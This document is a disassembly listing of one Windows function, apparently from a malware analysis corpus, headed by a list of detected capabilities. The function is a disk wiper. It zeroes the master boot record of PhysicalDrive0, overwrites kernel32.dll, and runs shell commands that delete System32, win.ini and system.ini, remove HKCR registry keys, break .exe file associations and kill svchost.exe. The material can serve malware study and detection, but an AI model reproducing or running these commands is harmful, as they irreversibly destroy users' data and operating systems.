Function at 0x1400112ee
Capabilities:
Execute command
Self delete
Write and execute a file
Write file on windows

Disassembly:
jmp 0x140012350
push rbp
push rdi
sub rsp, 0xb08
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x1f2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0xab8], rax
lea rcx, [0x1400240f4]
call fcn.14001140b
lea rdx, str.Operation_canceled.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001108c
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
mov edx, 0x10000000
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x14001241c
lea rdx, str.Failed_to_open_the_disk_handle.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001108c
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x14001261d
mov dword [rbp + 0x24], 0x200
lea rax, [rbp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x200
rep stosb byte [rdi], al
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x264]
mov r8d, 0x200
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rbp + 0x284], eax
lea rdx, [0x14001ae18]
lea rcx, str.C:WindowsSysWOW64kernel32.dll
call qword [sym.imp.ucrtbased.dll_fopen]
mov qword [rbp + 0x2a8], rax
lea rax, [rbp + 0x2d0]
mov rdi, rax
xor eax, eax
mov ecx, 0x29a
rep stosb byte [rdi], al
mov r9, qword [rbp + 0x2a8]
mov r8d, 1
mov edx, 0x29a
lea rcx, [rbp + 0x2d0]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.ucrtbased.dll_fclose]
lea rdx, [0x14001ae18]
lea rcx, str..PHYSICALDRIVE0
call qword [sym.imp.ucrtbased.dll_fopen]
mov qword [rbp + 0x588], rax
lea rax, [rbp + 0x5b0]
mov rdi, rax
xor eax, eax
mov ecx, 0x200
rep stosb byte [rdi], al
mov r9, qword [rbp + 0x588]
mov r8d, 1
mov edx, 0x200
lea rcx, [rbp + 0x5b0]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x588]
call qword [sym.imp.ucrtbased.dll_fclose]
mov r9, qword [rbp + 0x2a8]
mov r8d, 1
mov edx, 0x29a
lea rcx, [rbp + 0x2d0]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.ucrtbased.dll_fclose]
lea rcx, str.del__f__s__q_C:WindowsSystem32.
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.ftype_exefileC:Windows_notepad.exe_
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str._echo_off_Start_reg_delete_HKCR_.exe_Start_reg_delete_HKCR_.dll_Start_reg_delete_HKCR_
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.attrib__s__r__h_C:Windows_system.ini
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.del__f__s__q_C:Windows_system.ini
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.attrib__s__r__h_C:Windowswin.ini
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.del__f__s__q_C:Windowswin.ini
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.taskkill__f__im_svchost.exe
call qword [sym.imp.ucrtbased.dll_system]
cmp dword [rbp + 0x284], 0
je 0x1400125ba
cmp dword [rbp + 0x264], 0x200
je 0x1400125ee
lea rdx, [0x14001b020]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001108c
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x14001261d
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.MBR_deleted_successfully.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001108c
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001ace0]
call fcn.14001139d
mov rax, rdi
mov rcx, qword [rbp + 0xab8]
xor rcx, rbp
call fcn.140011212
lea rsp, [rbp + 0xac8]
pop rdi
pop rbp
ret